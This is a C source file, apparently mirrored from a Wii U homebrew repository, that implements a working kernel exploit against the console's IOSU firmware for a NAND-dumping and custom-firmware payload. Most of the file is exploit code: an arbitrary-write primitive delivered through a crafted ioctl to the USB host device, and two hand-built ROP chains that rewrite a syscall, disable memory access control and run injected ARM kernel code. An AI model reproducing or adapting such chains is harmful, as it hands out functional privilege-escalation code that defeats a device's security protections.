mirror of
https://github.com/wiiu-env/wiiu-nanddumper-payload.git
synced 2024-06-02 02:18:54 +02:00
b65b6c86cc
- added new feature which allows you to disable os full relaunch (only possible in combination with sysNAND, not redNAND) - added new option which allows to return to HBL after executing the patches and not launch to System Menu (only in combination with disabled OS full relaunch) - some clean ups NOTE to the new feature: The new feature to disable full OS reload behaves similar to the simple signature patcher except that it setups execution memory region from kernel for wupserver and iosuhax dev node code and starts those. So it's a fast simple signature patcher with the addition of wupserver and iosuhax dev node. Another addition to the simple sign patcher is that the patches reload themself when exiting settings. Launch image is disabled for this method though.
413 lines
18 KiB
C
413 lines
18 KiB
C
#include <string.h>
|
|
#include <stdio.h>
|
|
#include "dynamic_libs/os_functions.h"
|
|
#include "cfw_config.h"
|
|
|
|
#define ALIGN4(x) (((x) + 3) & ~3)
|
|
|
|
#define CHAIN_START 0x1016AD40
|
|
#define SHUTDOWN 0x1012EE4C
|
|
#define SIMPLE_RETURN 0x101014E4
|
|
#define SOURCE (0x120000)
|
|
#define IOS_CREATETHREAD 0x1012EABC
|
|
#define ARM_CODE_BASE 0x08135000
|
|
#define REPLACE_SYSCALL 0x081298BC
|
|
|
|
extern const u8 launch_image_tga[];
|
|
extern const u32 launch_image_tga_size;
|
|
|
|
static void uhs_exploit_init(int uhs_handle, cfw_config_t * config);
|
|
static int uhs_write32(int uhs_handle, int arm_addr, int val);
|
|
|
|
//!------Variables used in exploit------
|
|
static int *pretend_root_hub = (int*)0xF5003ABC;
|
|
static int *ayylmao = (int*)0xF4500000;
|
|
//!-------------------------------------
|
|
|
|
typedef struct
|
|
{
|
|
u32 size;
|
|
u8 data[0];
|
|
} payload_info_t;
|
|
|
|
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
|
#include "../ios_kernel/ios_kernel.bin.h"
|
|
#include "../ios_usb/ios_usb.bin.h"
|
|
#include "../ios_fs/ios_fs.bin.h"
|
|
#include "../ios_bsp/ios_bsp.bin.h"
|
|
#include "../ios_mcp/ios_mcp.bin.h"
|
|
|
|
|
|
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
|
static const int final_chain[] = {
|
|
0x101236f3, // 0x00 POP {R1-R7,PC}
|
|
0x0, // 0x04 arg
|
|
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
|
0x68, // 0x0C stacksize
|
|
0x10101638, // 0x10
|
|
0x0, // 0x14
|
|
0x0, // 0x18
|
|
0x0, // 0x1C
|
|
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
|
0x0, // 0x24
|
|
0x0, // 0x28
|
|
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x30
|
|
0x0, // 0x34
|
|
IOS_CREATETHREAD, // 0x38
|
|
0x1, // 0x3C
|
|
0x2, // 0x40
|
|
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
|
0x0, // 0x50
|
|
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
|
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x5C
|
|
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x64
|
|
0x0, // 0x68
|
|
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
|
0x0, // 0x70
|
|
0x0, // 0x74
|
|
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE1A04000, // 0x80 value: MOV R4, R0
|
|
0x0, // 0x84
|
|
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
|
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x90
|
|
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x98
|
|
0x0, // 0x9C
|
|
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
|
0x0, // 0xA4
|
|
0x0, // 0xA8
|
|
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
|
0x0, // 0xB8
|
|
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
|
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
|
0x0, // 0xC4
|
|
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0xCC
|
|
0x0, // 0xD0
|
|
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
|
0x0, // 0xD8
|
|
0x0, // 0xDC
|
|
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
|
0x0, // 0xEC
|
|
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
|
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
|
0x0, // 0xF8
|
|
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x100
|
|
0x0, // 0x104
|
|
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x10C
|
|
0x0, // 0x110
|
|
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE1A00004, // 0x11C value: MOV R0, R4
|
|
0x0, // 0x120
|
|
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
|
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x12C
|
|
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x134
|
|
0x0, // 0x138
|
|
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
|
0x0, // 0x140
|
|
0x0, // 0x144
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0x00000000, // 0x150 value: NOP
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE1A03004, // 0x184 value: MOV R3, R4
|
|
0x0, // 0x188
|
|
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
|
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x194
|
|
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x19C
|
|
0x0, // 0x1A0
|
|
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x1A8
|
|
0x0, // 0x1AC
|
|
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
|
0x0, // 0x188
|
|
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
|
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x194
|
|
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x19C
|
|
0x0, // 0x1A0
|
|
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x1A8
|
|
0x0, // 0x1AC
|
|
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
|
0x0, // 0x1BC
|
|
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
|
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x1C8
|
|
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x1D0
|
|
0x0, // 0x1D4
|
|
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x1DC
|
|
0x0, // 0x1E0
|
|
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
|
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
|
0x0, // 0x1E0
|
|
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
|
0x0, // 0x1DC
|
|
0x0, // 0x1E0
|
|
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
|
ARM_CODE_BASE, // 0x1E8 our code destination address
|
|
0x0, // 0x1EC
|
|
0x0, // 0x1F0
|
|
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
|
0x0, // 0x1F8
|
|
sizeof(ios_kernel_bin), // 0x1FC our code size
|
|
0x0, // 0x200
|
|
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
|
0x00140000, // 0x208 our code source location
|
|
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
|
0x0, // 0x210
|
|
0x0, // 0x214
|
|
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
|
0x0,
|
|
0x0,
|
|
0x101312D0,
|
|
};
|
|
|
|
static const int second_chain[] = {
|
|
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
|
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
|
0x0, // 0x08
|
|
0x0, // 0x0C
|
|
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
|
0x00130000, // 0x14 source
|
|
sizeof(final_chain), // 0x18 length
|
|
0x0, // 0x1C
|
|
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
|
0x0, // 0x24
|
|
0x0, // 0x28
|
|
0x101236f3, // 0x2C POP {R1-R7,PC}
|
|
0x0, // 0x30 arg
|
|
0x101001DC, // 0x34 stackptr
|
|
0x68, // 0x38 stacksize
|
|
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
|
0x0, // 0x40
|
|
0x0, // 0x44
|
|
0x0, // 0x48
|
|
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
|
0x0, // 0x50
|
|
0x0, // 0x54
|
|
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x5C
|
|
0x0, // 0x60
|
|
IOS_CREATETHREAD, // 0x64
|
|
0x1, // 0x68 priority
|
|
0x2, // 0x6C flags
|
|
0x0, // 0x70
|
|
0x0, // 0x74
|
|
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
|
0x0, // 0x7C
|
|
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
|
0x0, // 0x84
|
|
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
|
0x0,
|
|
0x0,
|
|
0x0,
|
|
0x00110000 - 0x44, // 0x8C
|
|
0x00110010, // 0x90
|
|
0x0, // 0x94
|
|
0x0, // 0x98
|
|
0x0, // 0x9C
|
|
0x0, // 0xA0
|
|
0x0, // 0xA4
|
|
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
|
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
|
0x0,
|
|
0x0,
|
|
0x1012EA68, // 0xAC stack pivot
|
|
};
|
|
|
|
static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config)
|
|
{
|
|
ayylmao[5] = 1;
|
|
ayylmao[8] = 0x500000;
|
|
|
|
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
|
|
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
|
|
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
|
|
|
|
payload_info_t *payloads = (payload_info_t*)0xF4148000;
|
|
|
|
payloads->size = sizeof(cfw_config_t);
|
|
memcpy(payloads->data, config, payloads->size);
|
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
|
|
payloads->size = sizeof(ios_usb_bin);
|
|
memcpy(payloads->data, ios_usb_bin, payloads->size);
|
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
|
|
if(config->redNAND)
|
|
{
|
|
payloads->size = sizeof(ios_fs_bin);
|
|
memcpy(payloads->data, ios_fs_bin, payloads->size);
|
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
|
|
if(config->seeprom_red)
|
|
{
|
|
payloads->size = sizeof(ios_bsp_bin);
|
|
memcpy(payloads->data, ios_bsp_bin, payloads->size);
|
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
}
|
|
}
|
|
|
|
payloads->size = sizeof(ios_mcp_bin);
|
|
memcpy(payloads->data, ios_mcp_bin, payloads->size);
|
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
|
|
if(config->launchImage)
|
|
{
|
|
FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb");
|
|
if(pFile)
|
|
{
|
|
fseek(pFile, 0, SEEK_END);
|
|
payloads->size = ftell(pFile);
|
|
fseek(pFile, 0, SEEK_SET);
|
|
fread(payloads->data, 1, payloads->size, pFile);
|
|
fclose(pFile);
|
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
}
|
|
else
|
|
{
|
|
payloads->size = launch_image_tga_size;
|
|
memcpy(payloads->data, launch_image_tga, payloads->size);
|
|
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
|
|
}
|
|
}
|
|
|
|
pretend_root_hub[33] = 0x500000;
|
|
pretend_root_hub[78] = 0;
|
|
|
|
DCStoreRange(pretend_root_hub + 33, 200);
|
|
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
|
|
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
|
|
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
|
|
DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000);
|
|
}
|
|
|
|
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val)
|
|
{
|
|
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
|
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
|
|
OSSleepTicks(0x200000); //! Improves stability
|
|
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
|
|
int output_buffer[32];
|
|
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
|
}
|
|
|
|
int ExecuteIOSExploit(cfw_config_t * config)
|
|
{
|
|
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
|
|
if(iosuhaxFd < 0)
|
|
{
|
|
//! execute exploit
|
|
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
|
|
if(dev_uhs_0_handle < 0)
|
|
return dev_uhs_0_handle;
|
|
|
|
uhs_exploit_init(dev_uhs_0_handle, config);
|
|
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
|
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
|
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
|
|
|
uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
|
|
|
|
IOS_Close(dev_uhs_0_handle);
|
|
}
|
|
else
|
|
{
|
|
//! do not run patches again as that will most likely crash
|
|
//! because the wupserver and the iosuhax dev node are still running
|
|
//! just relaunch IOS with new configuration
|
|
IOS_Close(iosuhaxFd);
|
|
}
|
|
return 0;
|
|
}
|